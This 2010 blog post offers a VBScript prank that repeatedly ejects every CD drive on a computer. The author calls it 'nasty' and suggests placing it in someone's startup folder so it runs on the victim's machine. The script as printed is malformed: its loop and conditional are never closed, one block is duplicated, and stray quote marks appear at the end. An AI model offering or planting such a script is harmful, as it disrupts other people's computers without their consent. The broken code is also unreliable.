Wednesday, September 29, 2010

Make your CD drive continously ejecting out

This script is nasty.It will check the status of your CD drive.If its closed,it ejects out continously,and you feel your cd drive has gone.But it will stop at your nest restart.Its totally in your hand how to make it more deadly,may be keeping it in someone's startup

**************************CDDRIVE.VBS*******************************
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
"**********************************************************************""*

No comments:

Post a Comment